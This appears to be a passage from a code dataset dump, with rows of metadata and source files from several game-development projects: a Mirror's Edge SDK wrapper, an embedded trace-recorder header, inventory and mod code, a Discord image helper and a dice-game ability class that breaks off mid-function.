repo_id
stringlengths
4
98
size
int64
611
5.02M
file_path
stringlengths
1
276
content
stringlengths
611
5.02M
shard_id
int64
0
109
quality_score
float32
0.5
1
quality_prediction
int8
1
1
quality_confidence
float32
0.5
1
topic_primary
stringclasses
1 value
topic_group
stringclasses
1 value
topic_score
float32
0.05
1
topic_all
stringclasses
96 values
quality2_score
float32
0.5
1
quality2_prediction
int8
1
1
quality2_confidence
float32
0.5
1
btbd/mmultiplayer
5,470
Client/sdk/ME_TdTuContent_functions.cpp
// Mirror's Edge (1.0) SDK #ifdef _MSC_VER #pragma pack(push, 0x4) #endif #include "../sdk.h" namespace Classes { //--------------------------------------------------------------------------- //Functions //--------------------------------------------------------------------------- // Function TdTuContent.TdTutorialMessage.GetString // (Defined, Static, Public) // Parameters: // int Switch (OptionalParm, Parm) // bool bPRI1HUD (OptionalParm, Parm) // class APlayerReplicationInfo* Killer (OptionalParm, Parm) // class APlayerReplicationInfo* Victim (OptionalParm, Parm) // class UObject* OptionalObject (OptionalParm, Parm) // struct FString ReturnValue (Parm, OutParm, ReturnParm, NeedCtorLink) struct FString UTdTutorialMessage::STATIC_GetString(int Switch, bool bPRI1HUD, class APlayerReplicationInfo* Killer, class APlayerReplicationInfo* Victim, class UObject* OptionalObject) { static auto fn = UObject::FindObject<UFunction>("Function TdTuContent.TdTutorialMessage.GetString"); UTdTutorialMessage_GetString_Params params; params.Switch = Switch; params.bPRI1HUD = bPRI1HUD; params.Killer = Killer; params.Victim = Victim; params.OptionalObject = OptionalObject; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; return params.ReturnValue; } // Function TdTuContent.TdTutorialFeedbackMessage.GetString // (Defined, Static, Public) // Parameters: // int InSwitch (OptionalParm, Parm) // bool bPRI1HUD (OptionalParm, Parm) // class APlayerReplicationInfo* RelatedPRI_2 (OptionalParm, Parm) // class APlayerReplicationInfo* RelatedPRI_3 (OptionalParm, Parm) // class UObject* OptionalObject (OptionalParm, Parm) // struct FString ReturnValue (Parm, OutParm, ReturnParm, NeedCtorLink) struct FString UTdTutorialFeedbackMessage::STATIC_GetString(int InSwitch, bool bPRI1HUD, class APlayerReplicationInfo* RelatedPRI_2, class APlayerReplicationInfo* RelatedPRI_3, class UObject* OptionalObject) { static auto fn = UObject::FindObject<UFunction>("Function TdTuContent.TdTutorialFeedbackMessage.GetString"); UTdTutorialFeedbackMessage_GetString_Params params; params.InSwitch = InSwitch; params.bPRI1HUD = bPRI1HUD; params.RelatedPRI_2 = RelatedPRI_2; params.RelatedPRI_3 = RelatedPRI_3; params.OptionalObject = OptionalObject; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; return params.ReturnValue; } // Function TdTuContent.TdTutorialFeedbackMessage.GetAnnouncementSound // (Defined, Simulated, Static, Public) // Parameters: // class APlayerController* LocalController (Parm) // int Switch (OptionalParm, Parm) // class APlayerReplicationInfo* RelatedPRI_2 (OptionalParm, Parm) // class APlayerReplicationInfo* RelatedPRI_3 (OptionalParm, Parm) // class UObject* OptionalObject (OptionalParm, Parm) // class USoundNodeWave* ReturnValue (Parm, OutParm, ReturnParm) class USoundNodeWave* UTdTutorialFeedbackMessage::STATIC_GetAnnouncementSound(class APlayerController* LocalController, int Switch, class APlayerReplicationInfo* RelatedPRI_2, class APlayerReplicationInfo* RelatedPRI_3, class UObject* OptionalObject) { static auto fn = UObject::FindObject<UFunction>("Function TdTuContent.TdTutorialFeedbackMessage.GetAnnouncementSound"); UTdTutorialFeedbackMessage_GetAnnouncementSound_Params params; params.LocalController = LocalController; params.Switch = Switch; params.RelatedPRI_2 = RelatedPRI_2; params.RelatedPRI_3 = RelatedPRI_3; params.OptionalObject = OptionalObject; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; return params.ReturnValue; } // Function TdTuContent.TdTutorialFeedbackMessage.ClientReceive // (Defined, Simulated, Static, Public) // Parameters: // class APlayerController* P (Parm) // int Switch (OptionalParm, Parm) // class APlayerReplicationInfo* PitcherPRI (OptionalParm, Parm) // class APlayerReplicationInfo* RecieverPRI (OptionalParm, Parm) // class UObject* OptionalObject (OptionalParm, Parm) void UTdTutorialFeedbackMessage::STATIC_ClientReceive(class APlayerController* P, int Switch, class APlayerReplicationInfo* PitcherPRI, class APlayerReplicationInfo* RecieverPRI, class UObject* OptionalObject) { static auto fn = UObject::FindObject<UFunction>("Function TdTuContent.TdTutorialFeedbackMessage.ClientReceive"); UTdTutorialFeedbackMessage_ClientReceive_Params params; params.P = P; params.Switch = Switch; params.PitcherPRI = PitcherPRI; params.RecieverPRI = RecieverPRI; params.OptionalObject = OptionalObject; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } } #ifdef _MSC_VER #pragma pack(pop) #endif
0
0.606377
1
0.606377
game-dev
MEDIA
0.523813
game-dev
0.568842
1
0.568842
ErichStyger/mcuoneclipse
24,264
Examples/MCUXpresso/FRDM-K22F/FRDM-K22F_McuLib_Accelerometer/McuLib/src/McuPercepio.h
/* ################################################################### ** This component module is generated by Processor Expert. Do not modify it. ** Filename : McuPercepio.h ** Project : FRDM-K64F_Generator ** Processor : MK64FN1M0VLL12 ** Component : PercepioTrace ** Version : Component 01.138, Driver 01.00, CPU db: 3.00.000 ** Compiler : GNU C Compiler ** Date/Time : 2018-07-03, 08:21, # CodeGen: 331 ** Abstract : ** ** Settings : ** Component name : McuPercepio ** RTOS+Trace Version : V3.3.0 ** Recorder Mode : Streaming ** Recorder Buffer Allocation : static ** Max ISR Nesting : 16 ** Snapshot Mode : ** Recorder store mode : Ring Buffer ** Scheduling only : no ** Description string : FreeRTOS+Trace ** Description max length : 80 ** Event buffer size : 1200 ** Symbol table size : 400 ** Objects : ** Number of tasks : 10 ** Name length for task : configMAX_TASK_NAME_LEN ** Number of ISR : 4 ** Number of queue : 3 ** Number of semaphore : 4 ** Number of mutex : 4 ** Number of timer : 2 ** Number of event groups : 2 ** Name length for ISR : 10 ** Name length for queue : 15 ** Name length for semaphore : 15 ** Name length for mutex : 15 ** Name length for timer : 15 ** Name length for event group : 15 ** Events Creation : ** Include OS Tick events : no ** Include ready events : yes ** Include memory manager events : no ** Include ISR tracing : yes ** Include object delete events : yes ** Include user events : yes ** Heap Size below 16M : no ** Float support : no ** Use implicit IFE rules : yes ** Use 16bit Object Handles : no ** Segger RTT : Enabled ** Segger RTT : McuRTT ** Streaming Mode : ** Up Buffer Index : 2 ** Up Buffer Size : 1024 ** Down Buffer Index : 2 ** Down Buffer Size : 32 ** Symbol Table Slots : 30 ** Symbol Max Length : 24 ** Object Data Slots : 20 ** Ctrl Task Priority : 1 ** Ctrl Task Stack Size : configMINIMAL_STACK_SIZE ** Ctrl Task Delay : ((10 * configTICK_RATE_HZ) / 1000) ** Source Folders : Enabled ** Recorder : TraceRecorder ** Config : TraceRecorder/config ** Include : TraceRecorder/include ** RTT Include : TraceRecorder/streamports/Jlink_RTT/include ** System : ** SDK : McuLib ** Utility : McuUtility ** Contents : ** vTraceEnable - void McuPercepio_vTraceEnable(int startOption); ** uiTraceStart - dword McuPercepio_uiTraceStart(void); ** vTraceStop - void McuPercepio_vTraceStop(void); ** vTraceClear - void McuPercepio_vTraceClear(void); ** uiTraceGetTraceBufferSize - dword McuPercepio_uiTraceGetTraceBufferSize(void); ** xTraceGetTraceBuffer - void* McuPercepio_xTraceGetTraceBuffer(void); ** xTraceRegisterString - traceString McuPercepio_xTraceRegisterString(const char* name); ** vTracePrint - void McuPercepio_vTracePrint(traceString chn, const char* str); ** vTracePrintF - void McuPercepio_vTracePrintF(traceLabel eventLabel, char *formatStr, ...); ** vTraceSetQueueName - void McuPercepio_vTraceSetQueueName(void *queue, char *name); ** vTraceSetSemaphoreName - void McuPercepio_vTraceSetSemaphoreName(void *semaphore, char *name); ** vTraceSetMutexName - void McuPercepio_vTraceSetMutexName(void *mutex, char *name); ** xTraceSetISRProperties - traceHandle McuPercepio_xTraceSetISRProperties(char *name, char prioritiy); ** vTraceStoreISRBegin - void McuPercepio_vTraceStoreISRBegin(traceHandle handle); ** vTraceStoreISREnd - void McuPercepio_vTraceStoreISREnd(int isTaskSwitchRequired); ** vGetGDBDumpCommand - void McuPercepio_vGetGDBDumpCommand(uint8_t *buf, uint16_t bufSize, uint8_t... ** vTraceSetStopHook - void McuPercepio_vTraceSetStopHook(TRACE_STOP_HOOK stopHookFunction); ** xTraceGetLastError - char* McuPercepio_xTraceGetLastError(void); ** vTraceClearError - byte McuPercepio_vTraceClearError(int resetErrorMessage); ** Startup - void McuPercepio_Startup(void); ** ** * (c) Copyright Percepio AB, 2013-2018 ** * http : www.percepio.se ** * mail : info@percepio.com ** * See separate Percepio licensing terms. ** * ** * Processor Expert Component: (c) Copyright Erich Styger, 2013-2018 ** * Web: https://mcuoneclipse.com ** * SourceForge: https://sourceforge.net/projects/mcuoneclipse ** * Git: https://github.com/ErichStyger/McuOnEclipse_PEx ** * All rights reserved. ** * ** * Redistribution and use in source and binary forms, with or without modification, ** * are permitted provided that the following conditions are met: ** * ** * - Redistributions of source code must retain the above copyright notice, this list ** * of conditions and the following disclaimer. ** * ** * - Redistributions in binary form must reproduce the above copyright notice, this ** * list of conditions and the following disclaimer in the documentation and/or ** * other materials provided with the distribution. ** * ** * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ** * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ** * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ** * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ** * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ** * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ** * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ** * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ** * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ** * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ** ###################################################################*/ /*! ** @file McuPercepio.h ** @version 01.00 ** @brief ** */ /*! ** @addtogroup McuPercepio_module McuPercepio module documentation ** @{ */ #ifndef __McuPercepio_HvTraceInitTraceData #define __McuPercepio_H /* MODULE McuPercepio. */ #include "McuLib.h" /* SDK and API used */ #include "McuPercepioconfig.h" /* configuration */ /* Include inherited components */ #include "McuRTT.h" #include "McuLib.h" #include "McuUtility.h" #if McuLib_CONFIG_SDK_VERSION_USED != McuLib_CONFIG_SDK_PROCESSOR_EXPERT /* prototypes for user events */ void McuPercepio_OnTraceWrap(void); #endif #include "trcRecorder.h" /* streaming interface */ #define McuPercepio_uiTraceGetTraceBufferSize() \ uiTraceGetTraceBufferSize() /* ** =================================================================== ** Method : uiTraceGetTraceBufferSize (component PercepioTrace) ** ** Description : ** Gets the size of the recorder data structure. For use ** together with vTraceGetTraceBuffer if you wish to implement ** an own store/upload solution, e.g., in case a debugger ** connection is not available for uploading the data. ** Parameters : None ** Returns : ** --- - Size of the trace buffer ** =================================================================== */ #define McuPercepio_xTraceGetTraceBuffer() \ xTraceGetTraceBuffer() /* ** =================================================================== ** Method : xTraceGetTraceBuffer (component PercepioTrace) ** ** Description : ** Return a pointer to the recorder data structure. Use this ** together with uiTraceGetTraceBufferSize if you wish to ** implement an own store/upload solution, e.g., in case a ** debugger connection is not available for uploading the data. ** Parameters : None ** Returns : ** --- - Pointer to the trace buffer ** =================================================================== */ #define McuPercepio_uiTraceStart() \ uiTraceStart() /* ** =================================================================== ** Method : uiTraceStart (component PercepioTrace) ** ** Description : ** Starts the trace. ** Parameters : None ** Returns : ** --- - returns 1 if trace has been started, 0 ** otherwise. ** =================================================================== */ #define McuPercepio_vTraceStop() \ vTraceStop() /* ** =================================================================== ** Method : vTraceStop (component PercepioTrace) ** ** Description : ** Stops the trace. ** Parameters : None ** Returns : Nothing ** =================================================================== */ #define McuPercepio_vTraceClear() \ vTraceClear() /* ** =================================================================== ** Method : vTraceClear (component PercepioTrace) ** ** Description : ** Clears the trace. ** Parameters : None ** Returns : Nothing ** =================================================================== */ #define McuPercepio_xTraceRegisterString (label) \ xTraceRegisterString(label) /* ** =================================================================== ** Method : xTraceRegisterString (component PercepioTrace) ** ** Description : ** Register strings in the recorder, e.g. for names of user ** event channels. ** Parameters : ** NAME - DESCRIPTION ** * name - Pointer to label ** Returns : ** --- - trace label to be used with vTracePrintF ** =================================================================== */ #define McuPercepio_vTracePrint(chn, str) \ vTracePrint(chn, str) /* ** =================================================================== ** Method : vTracePrint (component PercepioTrace) ** ** Description : ** Generates a User Event with a text label. The label is ** created/looked up in the symbol table using ** xTraceRegisterString. ** Parameters : ** NAME - DESCRIPTION ** chn - trace label for the user event ** * str - Pointer to string ** Returns : Nothing ** =================================================================== */ /* void McuPercepio_vTracePrintF(traceLabel eventLabel, char *formatStr, ...); */ #define McuPercepio_vTracePrintF vTracePrintF /* ** =================================================================== ** Method : vTracePrintF (component PercepioTrace) ** ** Description : ** Advanced user event - like printf (but limited formatting ** support - will improve) ** Parameters : ** NAME - DESCRIPTION ** eventLabel - trace label ** * formatStr - Pointer to format string ** Variable_1 - open parameter list ** Returns : Nothing ** =================================================================== */ #define McuPercepio_vTraceSetQueueName(queue, name) \ vTraceSetQueueName(queue, name) /* ** =================================================================== ** Method : vTraceSetQueueName (component PercepioTrace) ** ** Description : ** Assigns a name to a FreeRTOS Queue, Semaphore or Mutex. This ** function should be called right after creation of the ** queue/mutex/semaphore. If not using this function, the ** queues/mutexes/semaphores will be presented by their numeric ** handle only. ** Parameters : ** NAME - DESCRIPTION ** * queue - Pointer to the queue ** * name - Pointer to name ** Returns : Nothing ** =================================================================== */ #define McuPercepio_xTraceSetISRProperties(name, prioritiy) \ xTraceSetISRProperties(name, prioritiy) /* ** =================================================================== ** Method : xTraceSetISRProperties (component PercepioTrace) ** ** Description : ** Registers an Interrupt Service Routine in the recorder ** library, This must be called before using ** vTraceStoreISRBegin to store ISR events. This is typically ** called in the startup of the system, before the scheduler is ** started. Method is always enabled if 'Include ISR tracing' ** is set to 'yes' in the properties. ** Parameters : ** NAME - DESCRIPTION ** * name - Pointer to name ** prioritiy - priority ** Returns : ** --- - trace handle to be used for ** vTaceStoreISRBegin() ** =================================================================== */ #define McuPercepio_vTraceStoreISRBegin(handle) \ vTraceStoreISRBegin(handle) /* ** =================================================================== ** Method : vTraceStoreISRBegin (component PercepioTrace) ** ** Description : ** Registers the beginning of an Interrupt Service Routine. ** This must not be interrupted by another ISR containing ** recorder library calls, so if allowing nested ISRs this must ** be called with interrupts disabled. Method is always ** enabled if 'Include ISR tracing' is set to 'yes' in the ** properties. ** Parameters : ** NAME - DESCRIPTION ** handle - trace handle ** Returns : Nothing ** =================================================================== */ #define McuPercepio_vTraceStoreISREnd(isTaskSwitchRequired) \ vTraceStoreISREnd(isTaskSwitchRequired) /* ** =================================================================== ** Method : vTraceStoreISREnd (component PercepioTrace) ** ** Description : ** Registers the end of an Interrupt Service Routine. This must ** not be interrupted by another ISR containing recorder ** library calls, so if allowing nested ISRs this must be ** called with interrupts disabled. Method is always enabled ** if 'Include ISR tracing' is set to 'yes' in the properties. ** Parameters : ** NAME - DESCRIPTION ** isTaskSwitchRequired - The ** parameter pendingISR indicates if the ** interrupt has requested a task-switch (= 1) ** or if the interrupt returns to the earlier ** context (= 0) ** Returns : Nothing ** =================================================================== */ void McuPercepio_vGetGDBDumpCommand(uint8_t *buf, uint16_t bufSize, uint8_t *fileName); /* ** =================================================================== ** Method : vGetGDBDumpCommand (component PercepioTrace) ** ** Description : ** Gets the gdb command to dump the trace data to a file. ** Useful for copy-pasting it to the gdb console. ** Parameters : ** NAME - DESCRIPTION ** * buf - Pointer to buffer for the command. Make it ** large enoug (about 64 bytes) ** bufSize - size of the buffer ** * fileName - Pointer to the file name string, ** e.g. "C:\\tmp\\trace.dump" ** Returns : Nothing ** =================================================================== */ #define McuPercepio_vTraceSetStopHook(stopHookFunction) \ vTraceSetStopHook(stopHookFunction) /* ** =================================================================== ** Method : vTraceSetStopHook (component PercepioTrace) ** ** Description : ** Sets a function to be called when the recorder is stopped. ** Parameters : ** NAME - DESCRIPTION ** stopHookFunction - ** Returns : Nothing ** =================================================================== */ #define McuPercepio_xTraceGetLastError() \ xTraceGetLastError() /* ** =================================================================== ** Method : xTraceGetLastError (component PercepioTrace) ** ** Description : ** Gives the last error message, if any. NULL if no error ** message is stored. Any error message is also presented when ** opening a trace file. ** Parameters : None ** Returns : ** --- - Error message ** =================================================================== */ #define McuPercepio_vTraceClearError(resetErrorMessage) \ vTraceClearError(resetErrorMessage) /* ** =================================================================== ** Method : vTraceClearError (component PercepioTrace) ** ** Description : ** Removes any previous error message generated by recorder ** calling vTraceError. By calling this function, it may be ** possible to start/restart the trace despite errors in the ** recorder, but there is no guarantee that the trace recorder ** will work correctly in that case, depending on the type of ** error. ** Parameters : ** NAME - DESCRIPTION ** resetErrorMessage - parameter is ** not used ** Returns : ** --- - Error code ** =================================================================== */ #define McuPercepio_vTraceEnable(startOption) \ vTraceEnable(startOption) /* ** =================================================================== ** Method : vTraceEnable (component PercepioTrace) ** ** Description : ** ** Parameters : ** NAME - DESCRIPTION ** startoption - * TRC_START: Starts the ** tracing directly. In snapshot mode this ** allows for ** * starting the trace at any point in your ** code, assuming vTraceEnable(TRC_INIT) ** * has been called in the startup. ** * Can also be used for streaming without ** Tracealyzer control, e.g. to a local ** * flash file system (assuming such a ** "stream port", see trcStreamingPort.h). ** * ** * TRC_START_AWAIT_HOST: For streaming mode ** only. Initializes the trace recorder ** * if necessary and waits for a Start ** command from Tracealyzer ("Start Recording" ** * button). This call is intentionally ** blocking! By calling vTraceEnable with ** * this option from the startup code, you ** start tracing at this point and capture ** * the early events. ** * ** * TRC_INIT: Initializes the trace recorder, ** but does not start the tracing. ** * In snapshot mode, this must be followed ** by a vTraceEnable(TRC_START) sometime ** * later. ** Returns : Nothing ** =================================================================== */ #define McuPercepio_vTraceSetSemaphoreName(semaphore, name) \ vTraceSetSemaphoreName(semaphore, name) /* ** =================================================================== ** Method : vTraceSetSemaphoreName (component PercepioTrace) ** ** Description : ** Assigns a name to a FreeRTOS Queue, Semaphore or Mutex. This ** function should be called right after creation of the ** queue/mutex/semaphore. If not using this function, the ** queues/mutexes/semaphores will be presented by their numeric ** handle only. ** Parameters : ** NAME - DESCRIPTION ** * queue - Pointer to the semaphore ** * name - Pointer to name ** Returns : Nothing ** =================================================================== */ #define McuPercepio_vTraceSetMutexName(mutex, name) \ vTraceSetMutexName(mutex, name) /* ** =================================================================== ** Method : vTraceSetMutexName (component PercepioTrace) ** ** Description : ** Assigns a name to a FreeRTOS Queue, Semaphore or Mutex. This ** function should be called right after creation of the ** queue/mutex/semaphore. If not using this function, the ** queues/mutexes/semaphores will be presented by their numeric ** handle only. ** Parameters : ** NAME - DESCRIPTION ** * queue - Pointer to the mutex ** * name - Pointer to name ** Returns : Nothing ** =================================================================== */ void McuPercepio_Startup(void); /* ** =================================================================== ** Method : Startup (component PercepioTrace) ** ** Description : ** Routine called during startup. Depending on the mode and ** settings, it starts tracing and might block! ** Parameters : None ** Returns : Nothing ** =================================================================== */ /* END McuPercepio. */ #endif /* ifndef __McuPercepio_H */ /*! ** @} */
0
0.902058
1
0.902058
game-dev
MEDIA
0.164706
game-dev
0.774544
1
0.774544
MajorTomAW/ItemizationCore
1,782
Source/ItemizationCore/Public/Inventory/Operations/InventoryOp_RemoveItem.h
// Author: Tom Werner (MajorT), 2025 #pragma once #include "InventoryTrackableOp.h" #include "InventoryItemHandle.h" struct FInventoryItemEntry; class UItemDefinitionBase; struct FGameplayTagContainer; class AInventoryBase; /** * Abstract inventory item operation for removing items between inventories. * @note: This operation has multiple ways of identifying the item to be removed. * If mulitple are valid, it will choose one in hierachical order: * - ItemEntry: Most specific way to identify an item, used when the item is already known. * - ItemHandle: Handle that may point to an item in the inventory. (could be invalid tho) * - ItemDefinition: ItemDefinition that may match with multiple items in the inventory. Will choose the first one found. */ struct FInventoryOp_RemoveItem : public FInventoryTrackableOp { static constexpr TCHAR Name[] = TEXT("RemoveItem"); public: struct FParams { /** The source inventory from which items are removed. */ TWeakObjectPtr<AInventoryBase> SourceInventory; /** The target inventory to which items are removed. */ TWeakObjectPtr<AInventoryBase> TargetInventory; /** Filter function to determine which items to remove. */ TFunction<bool(const FInventoryItemEntry& Other)> FilterFunc; /** Optional context data for the remove action. */ FGameplayTagContainer* Context = nullptr; /** The number of items to be removed (will always use the absolute value). */ int32 Delta = 0; /** Helper function to check if any of the identifiers are valid. */ inline bool HasValidFilterFunc() const { return FilterFunc.IsSet(); } }; struct FResult { /** The number of items that could not be removed due to not enough in the inventory or other restrictions. */ int32 NumMissing = 0; }; };
0
0.977979
1
0.977979
game-dev
MEDIA
0.602656
game-dev
0.828771
1
0.828771
discordia-space/CEV-Eris
1,223
code/modules/telesci/telepads.dm
///SCI TELEPAD/// /obj/machinery/telepad name = "telepad" desc = "A bluespace telepad used for teleporting objects to and from a location." icon = 'icons/obj/telescience.dmi' icon_state = "pad-idle" anchored = TRUE use_power = IDLE_POWER_USE idle_power_usage = 200 active_power_usage = 5000 circuit = /obj/item/electronics/circuitboard/telesci_pad var/efficiency var/entropy_value = 8 /obj/machinery/telepad/RefreshParts() var/E for(var/obj/item/stock_parts/capacitor/C in component_parts) E += C.rating entropy_value = initial(entropy_value)/C.rating efficiency = E /obj/machinery/telepad/attackby(obj/item/I, mob/user, params) if(default_deconstruction(I, user)) return if(default_part_replacement(I, user)) return if(panel_open) if(istype(I, /obj/item/tool/multitool)) var/obj/item/tool/multitool/M = I M.buffer_object = src to_chat(user, SPAN_WARNING("You save the data in the [I.name]'s buffer.")) return else if(istype(I, /obj/item/tool/multitool)) to_chat(user, SPAN_WARNING("You should open [src]'s maintenance panel first.")) return /obj/machinery/telepad/update_icon() switch(panel_open) if(1) icon_state = "pad-idle-o" if(0) icon_state = "pad-idle"
0
0.691974
1
0.691974
game-dev
MEDIA
0.289603
game-dev
0.834607
1
0.834607
Jukoz/middle-earth
1,585
src/main/java/net/jukoz/me/block/special/CrateBlock.java
package net.jukoz.me.block.special; import net.minecraft.block.BarrelBlock; import net.minecraft.block.Block; import net.minecraft.block.BlockState; import net.minecraft.block.ShapeContext; import net.minecraft.block.entity.BarrelBlockEntity; import net.minecraft.block.entity.BlockEntity; import net.minecraft.item.ItemPlacementContext; import net.minecraft.state.property.Properties; import net.minecraft.text.Text; import net.minecraft.util.math.BlockPos; import net.minecraft.util.shape.VoxelShape; import net.minecraft.world.BlockView; import org.jetbrains.annotations.Nullable; public class CrateBlock extends BarrelBlock { public CrateBlock(Settings settings) { super(settings); } @Override public BlockState getPlacementState(ItemPlacementContext ctx) { return this.getDefaultState().with(Properties.FACING, ctx.getHorizontalPlayerFacing().getOpposite()); } @Override protected VoxelShape getOutlineShape(BlockState state, BlockView world, BlockPos pos, ShapeContext context) { return switch (state.get(FACING)) { case DOWN, UP, NORTH, SOUTH -> Block.createCuboidShape(0, 0, 3, 16, 7, 13); case WEST,EAST -> Block.createCuboidShape(3, 0, 0, 13, 7, 16); }; } @Nullable @Override public BlockEntity createBlockEntity(BlockPos pos, BlockState state) { return new BarrelBlockEntity(pos, state){ @Override protected Text getContainerName() { return Text.translatable("container.me.small_crate"); } }; } }
0
0.76308
1
0.76308
game-dev
MEDIA
0.998337
game-dev
0.755913
1
0.755913
BG-Software-LLC/WildChests
2,136
NMS/v1_21_5/src/main/java/com/bgsoftware/wildchests/nms/v1_21_5/inventory/WildChestMenu.java
package com.bgsoftware.wildchests.nms.v1_21_5.inventory; import com.bgsoftware.wildchests.listeners.InventoryListener; import net.minecraft.world.entity.player.Inventory; import net.minecraft.world.entity.player.Player; import net.minecraft.world.inventory.ChestMenu; import net.minecraft.world.inventory.MenuType; import org.bukkit.craftbukkit.inventory.CraftInventoryView; public class WildChestMenu extends ChestMenu { private final BaseNMSMenu base; private WildChestMenu(MenuType<?> menuType, int id, Inventory playerInventory, WildContainer inventory, int rows) { super(menuType, id, playerInventory, inventory, rows); this.base = new BaseNMSMenu(this, playerInventory, inventory); } @Override public CraftInventoryView getBukkitView() { return this.base.getBukkitView(); } @Override public void removed(Player player) { if (!InventoryListener.buyNewPage.containsKey(player.getUUID())) this.base.removed(player); } public static WildChestMenu of(int id, Inventory playerInventory, WildContainer inventory) { MenuType<?> menuType; int rows; switch (inventory.getContainerSize()) { case 9 -> { rows = 1; menuType = MenuType.GENERIC_9x1; } case 18 -> { rows = 2; menuType = MenuType.GENERIC_9x2; } case 27 -> { rows = 3; menuType = MenuType.GENERIC_9x3; } case 36 -> { rows = 4; menuType = MenuType.GENERIC_9x4; } case 45 -> { rows = 5; menuType = MenuType.GENERIC_9x5; } case 54 -> { rows = 6; menuType = MenuType.GENERIC_9x6; } default -> { throw new IllegalArgumentException("Invalid inventory size: " + inventory.getContainerSize()); } } return new WildChestMenu(menuType, id, playerInventory, inventory, rows); } }
0
0.76801
1
0.76801
game-dev
MEDIA
0.955721
game-dev
0.924098
1
0.924098
firleaves/GameEntity
1,197
Assets/GameEntity/Runtime/UpdateStrategy/AnyStrategy.cs
namespace GE { /// <summary> /// 任意一个策略满足时调用udpate /// update count 所有子策略的最大值 /// singleDeltaTime 所有子策略的最小deltaTime /// </summary> public class AnyStrategy : IUpdateStrategy { private readonly IUpdateStrategy[] _strategies; public AnyStrategy(params IUpdateStrategy[] strategies) { _strategies = strategies; } public int GetUpdateCount(Entity entity, float deltaTime,float unscaledDeltaTime, out float singleDeltaTime) { int maxCount = 0; float minDelta = float.MaxValue; foreach (var strategy in _strategies) { float childDelta; int count = strategy.GetUpdateCount(entity, deltaTime,unscaledDeltaTime, out childDelta); if (count > maxCount) maxCount = count; if (count > 0 && childDelta < minDelta) minDelta = childDelta; } if (maxCount == 0) { singleDeltaTime = minDelta; return 0; } singleDeltaTime = minDelta; return maxCount; } } }
0
0.669964
1
0.669964
game-dev
MEDIA
0.781829
game-dev
0.987857
1
0.987857
MarshMello0/Editor-Rich-Presence
1,384
Editor/Plugins/DiscordSDK/ImageManager.cs
using System; using System.Runtime.InteropServices; #if UNITY_EDITOR || UNITY_STANDALONE using UnityEngine; #endif namespace ERP.Discord { public partial struct ImageHandle { static public ImageHandle User(Int64 id) { return User(id, 128); } static public ImageHandle User(Int64 id, UInt32 size) { return new ImageHandle { Type = ImageType.User, Id = id, Size = size, }; } } public partial class ImageManager { public void Fetch(ImageHandle handle, FetchHandler callback) { Fetch(handle, false, callback); } public byte[] GetData(ImageHandle handle) { var dimensions = GetDimensions(handle); var data = new byte[dimensions.Width * dimensions.Height * 4]; GetData(handle, data); return data; } #if UNITY_EDITOR || UNITY_STANDALONE public Texture2D GetTexture(ImageHandle handle) { var dimensions = GetDimensions(handle); var texture = new Texture2D((int)dimensions.Width, (int)dimensions.Height, TextureFormat.RGBA32, false, true); texture.LoadRawTextureData(GetData(handle)); texture.Apply(); return texture; } #endif } }
0
0.734501
1
0.734501
game-dev
MEDIA
0.545299
game-dev,graphics-rendering
0.86721
1
0.86721
ratrecommends/dice-heroes
4,244
main/src/com/vlaaad/dice/game/actions/imp/IceStorm.java
/* * Dice heroes is a turn based rpg-strategy game where characters are dice. * Copyright (C) 2016 Vladislav Protsenko * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.vlaaad.dice.game.actions.imp; import com.badlogic.gdx.math.MathUtils; import com.badlogic.gdx.math.Vector2; import com.badlogic.gdx.utils.Array; import com.badlogic.gdx.utils.ObjectIntMap; import com.vlaaad.common.util.Function; import com.vlaaad.common.util.Grid2D; import com.vlaaad.common.util.MapHelper; import com.vlaaad.common.util.Numbers; import com.vlaaad.common.util.futures.Future; import com.vlaaad.common.util.futures.IFuture; import com.vlaaad.dice.game.actions.CreatureAction; import com.vlaaad.dice.game.actions.results.IActionResult; import com.vlaaad.dice.game.actions.results.imp.IceStormResult; import com.vlaaad.dice.game.config.abilities.Ability; import com.vlaaad.dice.game.config.attributes.Attribute; import com.vlaaad.dice.game.config.levels.LevelElementType; import com.vlaaad.dice.game.objects.Creature; import com.vlaaad.dice.game.objects.WorldObject; import com.vlaaad.dice.game.world.World; import java.util.Map; public class IceStorm extends CreatureAction { private static final Vector2 tmp = new Vector2(); private float radius; private int turns; private int epicenterTurns; public IceStorm(Ability owner) { super(owner); } @Override protected void doInit(Object setup) { Map data = (Map) setup; radius = MapHelper.get(data, "radius", Numbers.ONE).floatValue(); turns = MapHelper.get(data, "turns", Numbers.ONE).intValue(); epicenterTurns = MapHelper.get(data, "epicenterTurns", Numbers.ONE).intValue(); } @Override public IFuture<? extends IActionResult> apply(final Creature creature, World world) { int level = 5; Vector2 position = tmp.set(creature.getX(), creature.getY()); Array<Grid2D.Coordinate> available = new Array<Grid2D.Coordinate>(); for (int i = creature.getX() - level; i <= creature.getX() + level; i++) { for (int j = 